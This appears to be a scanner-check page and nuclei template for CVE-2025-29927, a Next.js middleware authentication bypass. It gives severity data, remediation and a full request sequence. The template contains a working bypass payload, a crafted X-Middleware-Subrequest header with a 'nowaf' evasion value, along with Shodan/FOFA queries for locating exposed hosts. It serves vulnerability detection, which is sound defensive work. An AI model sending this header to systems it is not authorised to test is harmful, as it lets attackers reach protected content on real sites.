Next.js Middleware Bypass

criticalseverity

9.1CVSS score

99.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2. Attackers may bypass middleware by sending a crafted x-middleware-subrequest header. This template requires a baseline middleware redirect before accepting a bypass 200 response.

Impact

Unauthenticated attackers can bypass middleware security controls when the baseline request proves middleware enforcement and the bypass response exposes protected content.

Fix

Upgrade to Next.js 14.2.25 or 15.2.3 or later. Block the x-middleware-subrequest header at the edge.

How to confirm it

Send: GET /
Positive when: matches in header /(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite):/ AND matches in header /(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite|location): .*(logi…/ AND status 307
Send: GET /
Positive when: not contains "Request Rejected" or "The requested URL was rejected" or "Your support ID is" or "Access Denied" AND status 200
Send: GET {{BaseURL}}
Positive when: matches /href=['"](\/[^\."']+)['"]/
Send: GET {{BaseURL}}{{endpoints}}
Positive when: contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-redirect', 'x-nextjs-redirect', 'x-nextjs-rewrite') && status_code != 200 and regex(to_lower(all_headers), '(login|signin|auth|aut…
Send: GET {{BaseURL}}{{endpoints}}
Positive when: status_code == 200 and !contains_any(to_lower(body), 'request rejected', 'your support id', 'access denied', 'request blocked') AND contains "admin secret"

Run it with nuclei: nuclei -id CVE-2025-29927 -u <target>

The full check

id: CVE-2025-29927

info:
  name: Next.js Middleware Bypass
  author: pdresearch,pdteam,hazedic,Veraptos VaaS Alpha
  severity: critical
  description: |
    Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
    Attackers may bypass middleware by sending a crafted x-middleware-subrequest header. This template
    requires a baseline middleware redirect before accepting a bypass 200 response.
  impact: |
    Unauthenticated attackers can bypass middleware security controls when the baseline request proves
    middleware enforcement and the bypass response exposes protected content.
  remediation: |
    Upgrade to Next.js 14.2.25 or 15.2.3 or later. Block the x-middleware-subrequest header at the edge.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
    - https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/
  classification:
    epss-score: 0.99225
    epss-percentile: 0.99935
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-29927
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 5
    product: next.js
    vendor: zeit
    spec_id: "CVE-2025-29927"
    veraptos_verified: SAT
    invariant_count: 0
    target_function: "middleware_bypass"
    chain_name: "nextjs-middleware"
    shodan-query: "x-middleware-rewrite"
    fofa-query: "x-middleware-rewrite"
  tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln

flow: |
    let base_check = function () {
      return http(1) && http(2);
    };

    let endpoint_check = function () {
      if (!http(3)) return false;

      for (let endpoint_urls of iterate(template.endpoints)) {
        set("endpoints", endpoint_urls);
        if (!(http(4) && http(5))) return false;
      }

      return true;
    };
    base_check() || endpoint_check()

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite):"
        internal: true

      - type: regex
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite|location): .*(login|signin|auth|authenticate|unauthorized|admin|dashboard|forbidden)"
        internal: true

      - type: status
        status:
          - 307
        internal: true

    extractors:
      - type: regex
        name: redirect_path
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1
        X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Request Rejected"
          - "The requested URL was rejected"
          - "Your support ID is"
          - "Access Denied"
          - "Request Blocked"
        negative: true

      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: regex
        part: body
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true

    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-redirect', 'x-nextjs-redirect', 'x-nextjs-rewrite') && status_code != 200
          - "regex(to_lower(all_headers), '(login|signin|auth|authenticate|unauthorized|admin|dashboard|forbidden)')"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "!contains_any(to_lower(body), 'request rejected', 'your support id', 'access denied', 'request blocked')"
        condition: and

      - type: word
        part: body
        words:
          - "admin secret"

References

Use this check only on systems you are authorised to test. Where the data comes from